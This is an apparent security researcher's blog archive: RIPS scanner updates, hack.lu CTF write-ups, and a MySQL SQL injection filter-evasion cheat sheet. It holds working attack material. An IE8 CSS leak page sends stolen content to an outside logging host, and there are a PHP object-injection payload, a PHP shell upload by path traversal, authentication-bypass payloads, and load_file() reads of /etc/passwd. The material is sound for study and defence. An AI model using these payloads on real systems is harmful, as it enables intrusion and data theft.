Project RIPS v0.50 – Status

December 31, 2011

I just released a new version of RIPS, my static analysis tool for vulnerabilities in PHP applications. You can find it at www.phpscan.net or www.phpscanner.net. A lot of things have changed and got improved but still a lot of things have to be done. Anyway, the new version is a huge step towards scanning large PHP projects.

Whats new

A major change is that RIPS now parses PHP code by instructions and not by lines anymore. This is much much more effective and accurate. Parsing code line by line worked out well for the most projects but also introduced a lot of bugs that are now fixed. RIPS is now even able to parse obfuscated PHP code and PHP backdoors.
Also I put a lot of work into the handling of arrays. In detail: [indexes] behind a variable are now removed and added to the variable token seperatly which allows much more accurate semantic parsing of connected tokens. The index value can now be reconstructed recursively and compared to other index values.
Finally RIPS is able to scan large open source projects (non-OOP). A new feature showing the current scan status and the current file that is scanned as well as a approximated timeleft supports this.
A new feature called leakscan is added that is able to detect if the output of a sensitive sink is returned to the user. In example this helps to detect where the result of your SQL Injection is printed or embedded to a header or if you have to use blind SQL Injection techniques.

Whats coming

A new release will ship a lot more documentation what RIPS has actually found and why this is a vulnerability. By now RIPS helps to understand the vulnerability type but a lot of vulnerabilities are very special so that a description for every single sensitive sink makes sense.
The next big step is to implement a initial preparsing phase where functions and their properties are indexed. After this phase all function calls can be interpreted correctly. By now, RIPS still scans top down and misses functions that are called before they are actually declared in the code. With this new structure several bugs regarding securing and quote analysis can be fixed. Then the support of object oriented programming (OOP) code can be added. Also the graphs have to be improved a lot.

Again, if you have any feedback, feature requests, false positives/negatives or code that will make RIPS struggle/hang please contact me.

Happy new year everyone !!! πŸ™‚


hack.lu CTF 2011 challenge writeup – Secret Space Code

September 27, 2011

Secret Space Code (SSC) was another web challenge I prepared for the hack.lu 2011 conference CTF. Because we experienced that web challenges are one of the most solved challenge categories during the last CTFs we participated and organized we decided to provide some tough ones.
SSC was about a client-side vulnerability in IE8 that has been patched in December 2010 without any big attention. However I felt this was a cool vulnerability and worth a 500 points challenge. The challenge text was:

The Secret Space Code (SSC) database holds a list of all space shuttle captains and their missile launch codes. You have stolen the X-wing Fighter “Incom T-65” from captain Cardboard and you need the missile launch codes for a crazy joyride. You have heard that the SSC admin (twitter: @secretspacecode) is from redmoon where they only use unpatched Internet Explorer 8 …

hint: Client-side challenges are error-prone. Practice your attack locally before sending a link to the SSC admin via private message.

After we got some metasploit tainted links we added the hint that “client-side” was referred to vulnerabilities like CSRF and XSS and not to client-side stack smashing πŸ˜‰ Otherwise the challenge would not have been filed under the category web.
When visiting the challenge website there was only a password prompt. The first and easy task was – as in many other challenges – to detect the source code file index.phps:

<?php
error_reporting(0);
header('Server: Secret Space Codes');
header('Content-Type: text/html; charset=UTF-8');
header('X-XSS-Protection: 1; mode=block');
session_start();
?>
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
	<title>Secret Space Codes - Database</title>
</head>

<body>
<div id="main">
<h1>Secret Space Codes Database</h1>
<?php
require 'config.php';

if(isset($_GET['pass']))
{
	if($_GET['pass'] === $password)
	{
		$_SESSION['logged'] = true;
	} else
	{
		$_SESSION['logged'] = false;
		echo '<p>Wrong password, get lost in space!</p>',"\n";
	}
}

if(isset($_SESSION['logged']) && $_SESSION['logged'] === true)
{
	$conn = mysql_connect($Host, $User, $Password) 
		or die("Error: Can not connect to database. Challenge broken");

	mysql_select_db($Database, $conn) 
		or die("Error: Can not select database. Challenge broken");
		
	$where = '';
	echo '<form action="">',"\n",
	'<table>',"\n",
	'<tr>',"\n",'<td><input type="text" name="captain" value="';
	if(isset($_GET['captain']))
	{
		echo htmlentities($_GET['captain'], ENT_QUOTES, 'utf-8');
		$captain = str_replace('all', '%', $_GET['captain']);
		$captain = mysql_real_escape_string($captain, $conn);
		$where.= "WHERE captain like '%$captain%' ";
	} else
	{
		echo 'all';
	}
	echo '" /></td>',"\n",'<td><select name="o">';
	if(isset($_GET['o']) && preg_match('/^(ASC|DESC)$/im', $_GET['o']))
	{	
		if(strtolower($_GET['o']) === 'asc')
			echo '<option selected>asc</option>',
			'<option>desc</option>';
		else if(strtolower($_GET['o']) === 'desc')
			echo '<option>asc</option>',
			'<option selected>desc</option>';	
			$where.= "ORDER BY captain ".$_GET['o'];
	} else
	{
		echo '<option>asc</option>',
			'<option>desc</option>';
	}
	echo '</select></td>',"\n",
	'<td><input type="submit" value="search" /></td>',"\n",
	'</tr>',"\n",
	'</table>',"\n",
	'</form>',"\n";
	$result = mysql_query("SELECT captain,code FROM captains $where", $conn);
	echo '<p>Result for captain '.htmlentities($_GET['captain'], ENT_QUOTES, 'utf-8');
	if(isset($_GET['o'])) 
		echo ' ('.htmlentities($_GET['o'], ENT_QUOTES, 'utf-8').'ending)';
	echo '</p>',"\n",
	'<table>',"\n",
	'<tr><th>captain</th><th>code</th></tr>',"\n";
	if(!mysql_error() && mysql_num_rows($result) > 0)
	{
		for($i=0; $i<mysql_num_rows($result); $i++)
		{
			if(!($row = mysql_fetch_array($result)))
			{
				die("Error. Challenge broken.");
			}
			$captain = htmlentities($row['captain'], ENT_QUOTES, 'utf-8');
			$code = htmlentities($row['code'], ENT_QUOTES, 'utf-8');
			echo "<tr><td>$captain</td><td>$code</td></tr>\n";
		}	
	} else
	{
		echo '<tr><td colspan="2">No codes found.</td></tr>',"\n";
	}
	echo '</table>',"\n";

} else
{
	echo '<form action="" method="GET">',"\n",'<table>',"\n",
	'<tr><th colspan="2">Login</th></tr>',"\n",
	'<tr><td>password:</td><td><input type="password" name="pass" value="" /></td></tr>',"\n",
	'<tr><td colspan="2" align="right"><input type="submit" value="login" /></td></tr>',"\n",
	'</table>',"\n",'</form>',"\n";
}	
?>	
</div>

</body>
</html>

The source code shows that after providing the right password the admin is logged in by session and gets a list of all captains and their codes. He also has the option to search for a specific captain and to order the list by GET parameter o ascending or descending. However there is no SQLi or XSS vulnerability. Everything is escaped and encoded correctly. The password was a 32 character long string and could not be guessed or bruteforced.
Anyway an attacker could steal the secrets knowing that his victim runs IE8. A very cool cross-domain leakage was published by scarybeast in September 2010 that could be used like the following to steal the missile launch codes from all captains:

  1. We reflect the following CSS via the GET parameter o:
    {}body{font-family:{
    

    That is possible because we only need braces that are not encoded by htmlspecialchars() and similar functions. Note that this means that every webapp is vulnerable to this attack as long as braces are not explicitly encoded.

  2. We load the webpage with our reflectively injected CSS as CSS resource:
    <link rel="stylesheet" type="text/css" href="https://ctf.hack.lu:2016/?captain=all&o=ASC{}body{font-family:{" />
    

    That is possible due to the lax IE8 CSS parsing. The first two braces make sure that every HTML content before our CSS is treated as (broken) CSS. Then our CSS starts where we define everything that follows in the HTML output as the body font-family. Because the IE8 parser will not find an ending brace it will include everything to the font-family until the end of file is reached.

  3. Now we have loaded the remote website with the whole content defined as font-family we simply access the currently computed font-family name and get the password protected content, when our victim is logged in and visits our prepared HTML webpage:
    <html>
    <head>
    	<link rel="stylesheet" type="text/css" href="https://ctf.hack.lu:2016/?captain=all&o=ASC{}body{font-family:{" />
    </head>
    <body>
    <script>
    function getStyle() {
    	var html = document.body.currentStyle.fontFamily;
    	//alert(html);
    	document.location.href="http://www.fluxfingers.net/?log="+encodeURIComponent(html);
    }
    window.setTimeout(getStyle, 2000);
    </script>
    </body>
    </html>
    

    We also set a timeout in case loading the remote site as CSS resource takes some time.

The code for captain Cardboard was F15-F29-F32-F65-F17-F22. For more information about this attack read scarybeasts blogpost or this paper. Note that this can only be reproduced with an unpatched IE8. Alternatively you can add the prepared HTML page to your trusted zone which will bypass the patch.
As almost expected nobody solved this challenge most likely because the attack has not got much attention. However knowing that it is IE8 specific one could have looked at the recent IE8 patches. Also SSC is backwards for CSS and could have got you in the right direction (scarybeasts blogpost is the second hit when googling “IE8 css security”). Thanks to .mario for bringing this vuln to my attention.


hack.lu CTF 2011 challenge writeup – AALabs (Part 1)

September 26, 2011

As last year our CTF team FluxFingers organized the hack.lu conference CTF. Again the CTF was open to participants all over the world.

As last year I prepared some web challenges designed in this years topic “space”. The challenge AALabs was about a website of a Asteroid Analysis Laboratory where you could create an account and upload asteroid meta data files for analysis. As a result a graph was shown to the user that summerized the amount of different material detected in that asteroid.

The challenge text was:

You have stolen the administrators password hashes from AALabs – a profitable technology center in outer space. However you were not able to crack them yet. Can you find out the salt?

Similar to last years web challenge you had to use different techniques to get the salt. At first you had to create an account with a unique username, your password and several other info about yourself. The AALabs webapp then internally created the new directory /home/files/username/ to later upload your files to a unique directory. Also the webapp added the user to the database for authentication and file authorization.
After registration you could login and upload your asteroid meta files. Once successfully uploaded, your file was listed in the analysis table with the option to delete the file and to create an analysis report.

Here one could find a SQL injection. By uploading a file named foobar the following SQL error was triggered when creating a report:

Query failed: UPDATE metafiles SET reportfile = ‘/home/files/username/foobar.report’ WHERE id = 7 AND userid = 3

Obviously the file name was escaped correctly when INSERTed into the table of uploaded files. However when creating a report and saving the new report file name (that includes the original file name) the name was not escaped correctly and the error was triggered during the UPDATE statement.
The trick here was to closely look at this error message before trying to exploit the SQL injection. It reveals the behavior that has been described above: the webapp operates with a directory that includes your username. Since it generates your report files in /home/files/username/ with your uploaded file name and the appended .report extension, it is very likely that it also uploads your file to the same directory /home/files/username/. That is safe at the first glance because the directory /home/files/ can not be accessed via webserver and many teams continued to investigate the SQL injection. However the SQL injection itself was a dead end because important characters like parenthesis were filtered. The SQL injection was actually a Information Leakage.
The trick was to register a new account with a Path Traversal in your username such as ../../var/www/Reiners. Doing so forces the webapp to upload your files into the webdirectory /var/www/ and your subdirectory Reiners/. After that you could simply upload your PHP shell to the webdirectory and access it by browser. Since the safe_mode was enabled (we will come back to that later in part 2) you had to use file functions for further investigation, for example:

<?php
// Listing all files in a directory:
print_r(scandir('/var/www/'));
// read the configuration file that includes the salt:
echo file_get_contents('/var/www/config.php');
?>

The salt and the solution for this first part of the challenge was:
AA!LaBS.

I omitted the task to use the salt and a given hash to crack the password because I felt this was boring, however it would have added just another technique required to get to the goal. So far for the first task that was worth 200 points. A second task was waiting for the teams that was worth another 300 points and that required to exploit PHP itself and bypass the safe_mode:

Now that you gained access to AALabs it is time to do some further digging to get into their system. However they seem to have a pretty safe configuration running on their webserver. Can you get around it and read the Flag?

A writeup will follow for this task. Unfortunetely only one team (props to bobsleigh) managed to solve the first task. I don’t think that the first task was too hard, however there were two distractions. First of all the SQL error was mostly pointing the teams to a SQL injection filter evasion challenge rather than a simple information leakage. Secondly the path traversal had to exactly point to the webdirectory because the www-data user had only write access to /home/files/ and to /var/www/. I can imagine that some teams tried to traverse only one directory up to see if path traversal is possible but stopped trying after not successfully writing to /home/.
Anyway I hope some teams enjoyed the challenge πŸ™‚


Project RIPS – Status

June 4, 2011

During the past month I spend a lot of time improving RIPS – my static analysis tool for PHP vulnerabilities. You can download the new version 0.40 here. In this post I will give a short project status report.

Whats new

There has been a couple of bugfixes and improving especially regarding file inclusions which are vital for correct analysis. Also RIPS now tries to analyse SQL queries on quotes before a decision on correct securing is made. However this feature is still not 100% working correctly in all cases.

// safe
$name = mysql_real_escape_string($_GET['name']);
mysql_query("SELECT * FROM users WHERE name = '$name'");

// vulnerable
$id = mysql_real_escape_string($_GET['id']);
mysql_query("SELECT * FROM users WHERE id = $id");

The main new visible features are graphs. Besides the list of all scanned files RIPS now gives a nice overview on how files are connected to eachother, what files accept sources (userinput) and what files have sensitive sinks or vulnerabilities. It also splits the scanned files in main files (blue) and included files (red) so that entry points can be spotted easily.

RIPS file graph

Also all function calls are visible in a connected graph. Red lines are highlighting the code flow of each vulnerability. With these features it is very easy to spot in which file a vulnerability exists and which functions have to be called to reach the sensitive sink before you actually look at the code.

RIPS function graph

Another important feature is that code snippets that belong to the same vulnerability are now grouped and titled with the vulnerability category. In earlier versions they were unconnected and one had to jump between several snippets. With this it is now possible to look at specific vulnerability categories and to hide unimportant ones. This can be done by clicking on the categories name in the statistics window that also has been improved with a pie chart (HTML5 for the win ;)).

RIPS stats

Also a new vulnerability type “Unserialize / POP” has been added that allows you to search for unserialize() sinks and interesting POP gadget functions (more info here). For more changes have a look at the changelog.

Whats missing

The main drawback of RIPS is still the missing support of Object-Oriented Programming (OOP). That means that almost all large code projects can not be scanned sufficiently and vulnerabilities will not be detected correctly. RIPS also still has problems with large non-OOP projects with complicated include structures. The new version improves the include strategie a lot, however if the filename is fetched from a database or build over several userdefined functions it is hard to reconstruct a string with static analysis. Also, a big block on my todo-list includes several bugs with the detection of proper and inproper securing that is also hard to detect with static analysis. So RIPS 0.40 remains being a good tool for small to bigger non-OOP apps but fails if you seriously want to scan WordPress or phpBB.

Whats coming

Scanning large OOP apps is still the main goal. After fixing currently known bugs (which are decreasing but finally increasing again every day ;)) it will be time for implementing basic OOP features. At the same time a complete rewrite is planned to improve development and contain new bugs. Also some basic behavior of RIPS needs to be changed to detect vulnerabilities more correctly. This includes the line-by-line reading which should be replaced by codeblocks and the handling of different data types, especially arrays. There has been some interests lately for a joint development so I am looking forward to how RIPS will evolve.

If you are aware of a bug in the new version or have a feature request please leave a comment or issue a request at sourceforge.


Blind SQLi techniques

April 6, 2011

In this quick post I want to collect some cool blind SQLi techniques I recently read about. I will keep this list updated as soon as I find new stuff. For me it is nice to have a list of these techniques online and a lot of visitors are interested in SQLi as well, so I thought I share it πŸ˜‰ If you don’t know what blind SQLi is all about I recommend starting with this article about basic statistical approaches for efficient data extraction.

You can extract data more efficiently and thus safe requests and time by using the following techniques:

update 24.7.11: I just found out that the neat XML parsing function extractvalue includes invalid XML into error messages and can be used as a side channel for data extraction or conditional errors:

SELECT extractvalue(1,concat(0x2e,(SELECT @@version)));
XPATH syntax error: '5.1.36-community-log'

or
SELECT updatexml(1,concat(0x2e,(SELECT @@version)),1);
XPATH syntax error: '5.1.36-community-log'

(also published here)

If you know any other clever techniques please leave a comment.


SQLi filter evasion cheat sheet (MySQL)

December 4, 2010

This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 years of PHPIDS filter evasion at the CONFidence 2.0 conference. You can find the slides here. For a quicker reference you can use the following cheatsheet. More detailed explaination can be found in the slides or in the talk (video should come online in a few weeks).

Basic filter

Comments
‘ or 1=1#
‘ or 1=1– –
‘ or 1=1/* (MySQL < 5.1)
' or 1=1;%00
' or 1=1 union select 1,2 as `
' or#newline
1='1
' or– -newline
1='1
' /*!50000or*/1='1
' /*!or*/1='1

Prefixes
+ – ~ !
‘ or –+2=- -!!!’2

Operators
^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL

Whitespaces
%20 %09 %0a %0b %0c %0d %a0 /**/
‘or+(1)sounds/**/likeβ€œ1β€œ–%a0-
‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)#

Strings with quotes
SELECT ‘a’
SELECT “a”
SELECT n’a’
SELECT b’1100001′
SELECT _binary’1100001′
SELECT x’61’

Strings without quotes
‘abc’ = 0x616263

Aliases
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users

Typecasting
‘ or true = ‘1 # or 1=1
‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1
‘ or ‘1 # or true

Compare operator typecasting
select * from users where ‘a’=’b’=’c’
select * from users where (‘a’=’b’)=’c’
select * from users where (false)=’c’
select * from users where (0)=’c’
select * from users where (0)=0
select * from users where true
select * from users

Authentication bypass ‘=’
select * from users where name = ”=”
select * from users where false = ”
select * from users where 0 = 0
select * from users where true
select * from users

Authentication bypass ‘-‘
select * from users where name = ”-”
select * from users where name = 0-0
select * from users where 0 = 0
select * from users where true
select * from users

Function filter

General function filtering
ascii (97)
load_file/*foo*/(0x616263)

Strings with functions
‘abc’ = unhex(616263)
‘abc’ = char(97,98,99)
hex(‘a’) = 61
ascii(‘a’) = 97
ord(‘a’) = 97
‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))

Strings extracted from gadgets
collation(\N) // binary
collation(user()) // utf8_general_ci
@@time_format // %H:%i:%s
@@binlog_format // MIXED
@@version_comment // MySQL Community Server (GPL)
dayname(from_days(401)) // Monday
dayname(from_days(403)) // Wednesday
monthname(from_days(690)) // November
monthname(from_unixtime(1)) // January
collation(convert((1)using/**/koi8r)) // koi8r_general_ci
(select(collation_name)from(information_schema.collations)where(id)=2) // latin2_czech_cs

Special characters extracted from gadgets
aes_encrypt(1,12) // 4Γ§hΒ±{?”^cΓ—HéÉEa
des_encrypt(1,2) // β€šGΓ’/Γ―Γ–k
@@ft_boolean_syntax // + -><()~*:""&|
@@date_format // %Y-%m-%d
@@innodb_log_group_home_dir // .\

Integer representations
false: 0
true: 1
true+true: 2
floor(pi()): 3
ceil(pi()): 4
floor(version()): 5
ceil(version()): 6
ceil(pi()+pi()): 7
floor(version()+pi()): 8
floor(pi()*pi()): 9
ceil(pi()*pi()): 10
concat(true,true): 11
ceil(pi()*pi())+true: 11
ceil(pi()+pi()+version()): 12
floor(pi()*pi()+pi()): 13
ceil(pi()*pi()+pi()): 14
ceil(pi()*pi()+version()): 15
floor(pi()*version()): 16
ceil(pi()*version()): 17
ceil(pi()*version())+true: 18
floor((pi()+pi())*pi()): 19
ceil((pi()+pi())*pi()): 20
ceil(ceil(pi())*version()): 21
concat(true+true,true): 21
ceil(pi()*ceil(pi()+pi())): 22
ceil((pi()+ceil(pi()))*pi()): 23
ceil(pi())*ceil(version()): 24
floor(pi()*(version()+pi())): 25
floor(version()*version()): 26
ceil(version()*version()): 27
ceil(pi()*pi()*pi()-pi()): 28
floor(pi()*pi()*floor(pi())): 29
ceil(pi()*pi()*floor(pi())): 30
concat(floor(pi()),false): 30
floor(pi()*pi()*pi()): 31
ceil(pi()*pi()*pi()): 32
ceil(pi()*pi()*pi())+true: 33
ceil(pow(pi(),pi())-pi()): 34
ceil(pi()*pi()*pi()+pi()): 35
floor(pow(pi(),pi())): 36

@@new: 0
@@log_bin: 1

!pi(): 0
!!pi(): 1
true-~true: 3
log(-cos(pi())): 0
-cos(pi()): 1
coercibility(user()): 3
coercibility(now()): 4

minute(now())
hour(now())
day(now())
week(now())
month(now())
year(now())
quarter(now())
year(@@timestamp)
crc32(true)

Extract substrings
substr(‘abc’,1,1) = ‘a’
substr(‘abc’ from 1 for 1) = ‘a’
substring(‘abc’,1,1) = ‘a’
substring(‘abc’ from 1 for 1) = ‘a’
mid(‘abc’,1,1) = ‘a’
mid(‘abc’ from 1 for 1) = ‘a’
lpad(‘abc’,1,space(1)) = ‘a’
rpad(‘abc’,1,space(1)) = ‘a’
left(‘abc’,1) = ‘a’
reverse(right(reverse(‘abc’),1)) = ‘a’
insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’
space(0) = trim(version()from(version()))

Search substrings
locate(‘a’,’abc’)
position(‘a’,’abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,’a’)
substring_index(‘ab’,’b’,1)

Cut substrings
length(trim(leading ‘a’ FROM ‘abc’))
length(replace(‘abc’, ‘a’, ”))

Compare strings
strcmp(‘a’,’a’)
mod(‘a’,’a’)
find_in_set(‘a’,’a’)
field(‘a’,’a’)
count(concat(‘a’,’a’))

String length
length()
bit_length()
char_length()
octet_length()
bit_count()

String case
ucase
lcase
lower
upper
password(‘a’) != password(‘A’)
old_password(‘a’) != old_password(‘A’)
md5(‘a’) != md5(‘A’)
sha(‘a’) != sha(‘A’)
aes_encrypt(‘a’) != aes_encrypt(‘A’)
des_encrypt(‘a’) != des_encrypt(‘A’)

Keyword filter

Connected keyword filtering
(0)union(select(table_name),column_name,…
0/**/union/*!50000select*/table_name`foo`/**/…
0%a0union%a0select%09group_concat(table_name)….
0’union all select all`table_name`foo from`information_schema`. `tables`

OR, AND
‘||1=’1
‘&&1=’1
‘=’
‘-‘

OR, AND, UNION
‘ and (select pass from users limit 1)=’secret

OR, AND, UNION, LIMIT
‘ and (select pass from users where id =1)=’a

OR, AND, UNION, LIMIT, WHERE
‘ and (select pass from users group by id having id = 1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP
‘ and length((select pass from users having substr(pass,1,1)=’a’))

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING
‘ and (select substr(group_concat(pass),1,1) from users)=’a
‘ and substr((select max(pass) from users),1,1)=’a
‘ and substr((select max(replace(pass,’lastpw’,”)) from users),1,1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT
‘ and substr(load_file(‘file’),locate(‘DocumentRoot’,(load_file(‘file’)))+length(‘DocumentRoot’),10)=’a
‘=” into outfile ‘/var/www/dump.txt

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE
‘ procedure analyse()#
‘-if(name=’Admin’,1,0)#
‘-if(if(name=’Admin’,1,0),if(substr(pass,1,1)=’a’,1,0),0)#

Control flow
case ‘a’ when ‘a’ then 1 [else 0] end
case when ‘a’=’a’ then 1 [else 0] end
if(‘a’=’a’,1,0)
ifnull(nullif(‘a’,’a’),1)

If you have any other useful tricks I forgot to list here please leave a comment.


hack.lu CTF challenge 21 writeup – PIGS

October 30, 2010

This week we organized the Capture-The-Flag contest for the hack.lu conference in Luxembourg. It was open to local and remote participating teams and played by nearly 60 teams. My task was to write the scoreboard and some web challenges. The big topic was “pirates”. Everything is mirrored at http://hacklu.fluxfingers.net/ where you can find lots of other cool challenges and writeups.

In challenge 21 the players were given a website of a criminal pirate organization stealing gold. The task was to hack the website and to find out, how much gold the leader ‘Jack’ has stolen so far.

In the “Support us” area one can upload new language files for the website. However an upload of any random file says that the file was not signed and therefore ignored. However there is a hint in the text:

Our website supports 10 international languages (automatically detected) and we are always looking for help to support new languages. If you are interested, please contact us for more information and to receive the key for signing your language file.

Also 10 different flags on top of the site menu show which languages are supported. How are those languages detected automatically? By the Accept-Language-header your browser sends automatically. You can verify this by sending different header values (I prefer using Live HTTP Headers). In example Accept-Language: es will show the website with spanish text.

The quote shown above also reveals that the website uses language files. Also sending a unsupported language in the header leads to the following error:

Accept-Language: foobar
Language (foobar) not available. Switching to default (en).

We know that the website fetches the text from files. Lets try a path traversal:

Accept-Language: index.php
Language (index.php) not available. Switching to default (en).

Accept-Language: ../index.php
Could not import language data from ‘<?php ..code.. ?>’

Sweet, the error reveals the source code. Now we can download all files that are included and analyse the source code.

The source code reveals, that there is a hidden ?id=17 displaying the admin login interface. Behind this interface the current gold status of the logged in captain is shown. The task is to find out captain Jack’s gold status so we need to login as ‘Jack’. Lets see how we can accomplish that.

The file worker/funcs.php reveals how the language files work. Basically all language data is stored serialized in files. Those language files are stored in messages/. Each language file also has to have the serialized variable $secretkey set to “p1r4t3s.k1lly0u” to pass the check if the file is signed. Then, all data is unserialized and assigned to the global array $messages which will be used to display the text throughout the website.

Now we know the key to sign we can upload our own files. To create a valid serialized file we can simply use the following php code:

<?php
$messages = array("secretkey" => "p1r4t3s.k1lly0u");
echo serialize($messages);
?>

which will give you:

a:1:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";} 

You can also write this down manually (small introduction to serialize syntax):

a:1: create array with 1 element
{: array start
s:9:”secretkey”: array key: string with 9 characters
s:15:”p1r4t3s.k1lly0u”: array value: string with 15 characters
}: array end

However we can not directly browse to messages/ because we get a 403 forbidden for this path. Uploading a signed php file with php code (php shell) within the serialized strings will not work here.

Investigating the object-oriented code in worker/mysql.php shows how the database queries and connection is handled. For each request to the PIGS website a new class object sql_db is created. This object is initialized with the reserved function __wakeup() and later destroyed with the reserved function __destruct(). One can see that when the function __destruct() is triggered, the function sql_close() is called. On the first look this looks unsuspicious. However when looking at the function sql_close() we see that a log event is initiated.

function __destruct()
{
	$this->sql_close();
}

function sql_close()
{
	[...]
	$this->createLog();
	[...]
}

function createLog()
{
	$ip = $this->escape($_SERVER['REMOTE_ADDR']);
	$lang = $this->escape($_SERVER['HTTP_ACCEPT_LANGUAGE']);
	$agent = $this->escape($_SERVER['HTTP_USER_AGENT']);
	$log_table = $this->escape($this->log_table);
	$query = "INSERT INTO " . $log_table . " VALUES ('', '$ip', '$lang', '$agent')";
	$this->sql_query($query);
}

So every request will be logged into the table that the current sql_db object has been initialized with (logs) during the constructor call sql_db(). The inserted values are all escaped correctly, so no SQL injection here. Or maybe there is?

The function __destruct() of every instanced object is called once the php interpreter has finished parsing a requested php file. In PIGS for every request an object of sql_db is created and after the php file has been parsed the __destruct() function is called automatically. Then, the function sql_close() is called which calls the function createLog().

When uploading a language file that contains a serialized sql_db object this object will be awaken and lives until the rest of the php code is parsed. When the createLog() function is called for this object within the __destruct() call, the locale variable log_table is used in the sql query that creates the logentry. Because this locale variable can be altered in the serialized string uploaded with the file, SQL injection is possible.

To trigger the vulnerability we create a signed language file with the key and with a sql_db object that has an altered log_table. Since we need to login as user ‘Jack’ we simply abuse the INSERT query of the createLog() function to insert another user ‘Jack’ with password ‘bla’ to the users table:

INSERT INTO $log_table VALUES ('', '$ip', '$lang', '$agent')

$log_table=users VALUES ('', 'Jack', 'bla', '0')-- -

the query will become:

INSERT INTO users VALUES ('', 'Jack', 'bla', '0')-- -VALUES ('', '$ip', '$lang', '$agent')

which will insert the specified values into the table users. The table name is escaped before used in the query, however a table name is never surrounded by quotes so that an injection is still possible. We simply avoid quotes with the mysql hex representation of strings. To build the serialized string we can instantiate a modified sql_db object ourselves and serialize it. The mysql connection credentials can be read from the leaked source code files.

<?php

class sql_db
{
	var $query_result;
	var $row = array();
	var $rowset = array();
	var $num_queries = 0;

	function sql_db()
	{
		$this->persistency = false;
		$this->user = 'pigs';
		$this->password = 'pigs';
		$this->server = 'localhost';
		$this->dbname = 'pigs';
		$this->log_table = "users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -";
	}
} 

$db = new sql_db();

$payload = array (
  'secretkey' => 'p1r4t3s.k1lly0u',
  $db
);

echo serialize($payload);
?>

Now we can simply save the serialized payload into a file and upload it.

a:2:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";i:0;O:6:"sql_db":10:{s:12:"query_result";N;s:3:"row";a:0:{}s:6:"rowset";a:0:{}s:11:"num_queries";i:0;s:11:"persistency";b:0;s:4:"user";s:4:"pigs";s:8:"password";s:4:"pigs";s:6:"server";s:9:"localhost";s:6:"dbname";s:4:"pigs";s:9:"log_table";s:45:"users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -";}}

The language file will successfully pass the key-check and the language data will be unserialized. Then the sql_db object will be created with the modified log_table variable. Finally the __destruct() function is called automatically and the log_table will be used during the createLog() function which triggers the SQL injection and the INSERT of a new user ‘Jack’. Now we can login into the admin interface with our user ‘Jack’ and the password ‘bla’. Then the function printGold() is called for the username that has been used during the successful login.

function printGold()
{
	global $db;
	
	$name = $db->escape($_POST['name']);
	$result = $db->sql_query("SELECT gold FROM users WHERE name='$name'");
	if($db->sql_numrows($result) > 0)
	{
		$row = $db->sql_fetchrow($result);
		echo htmlentities($name).'\'s gold: '.htmlentities($row['gold']);
	}	
}

The first matching account with the user ‘Jack’ will be returned instead of our own and we finally retrieve the gold and the solution to this challenge: 398720351149

This challenge was awarded with 500 points because it was quite time consuming. However if you have followed Stefan Esser’s piwik exploit it should have been straight forward once you could download the source code. Funnily I have seen one team exploiting the SQL injection blindly πŸ˜‰

Update: there is another writeup for this challenge in french available here


Blind SQL injection with load_file()

October 1, 2010

Currently I am working a lot on RIPS but here is a small blogpost about a technique I thought about lately and wanted to share.
While participating at the smpCTF I came across a blind SQL injection in level 2. After solving the challenge I checked for the FILE privilege:

/level2/?id=1/**/and/**/(SELECT/**/is_grantable/**/FROM/**/information_schema.user_privileges/**/WHERE/**/privilege_type=0x66696C65/**/AND/**/grantee/**/like/**/0x25726F6F7425/**/limit/**/1)=0x59

Luckily the FILE privilege was granted which was not intended by the organizer. Since I had not solved level 1 at that time I thought it would be easier to read the PHP files to solve level 1. First I checked if reading files with load_file() worked at all and tried to read /etc/passwd:

/level2/?id=1/**/and/**/!isnull(load_file(2F6574632F706173737764))

Since the webpage with id=1 was displayed the and condition must have been evaluated to true which means that the file could be read (load_file() returns null if the file can not be read). Before reading the PHP files I needed to find the webserver configuration file to find out where the DocumentRoot was configured. I used the same query as above to check for the existence of the following apache config files:

$paths = array( 
"/etc/passwd", 
"/etc/init.d/apache/httpd.conf", 
"/etc/init.d/apache2/httpd.conf", 
"/etc/httpd/httpd.conf", 
"/etc/httpd/conf/httpd.conf", 
"/etc/apache/apache.conf", 
"/etc/apache/httpd.conf", 
"/etc/apache2/apache2.conf", 
"/etc/apache2/httpd.conf", 
"/usr/local/apache2/conf/httpd.conf", 
"/usr/local/apache/conf/httpd.conf", 
"/opt/apache/conf/httpd.conf", 
"/home/apache/httpd.conf", 
"/home/apache/conf/httpd.conf", 
"/etc/apache2/sites-available/default", 
"/etc/apache2/vhosts.d/default_vhost.include");

update: There is an official list for Apache. Very useful.

Webpage with id=1 was displayed for the file /etc/httpd/httpd.conf thus revealing that this file existed and could be read.

Now it was time for the tricky part: I had only a true/false blind SQL injection which means that I could only bruteforce the configuration file char by char. Since the length of the file was more than 10000 chars this would have taken way too long.
I decided to give little shots at the configuration file trying to hit the DocumentRoot setting or a comment nearby that identifies my current position. Each shot bruteforced 10 alphanumerical characters:

/level2/?id=1/**/and/**/mid(lower(load_file(0x2F6574632F68747470642F68747470642E636F6E66)),$k,1)=0x$char

I compared the few bruteforced characters to a known apache configuration file trying to map the characters to a common configuration comment. This worked for most of the character sequences but unfortunately almost every configuration file is a bit different so that it was not possible to calculate the correct offset of the DocumentRoot setting once another setting had been identified. I bruteforced only alphanumerical strings to save time. For example the bruteforced string “dulesthoselisted” could be mapped to the comment “modules (those listed by `httpd -l’)” and so on.
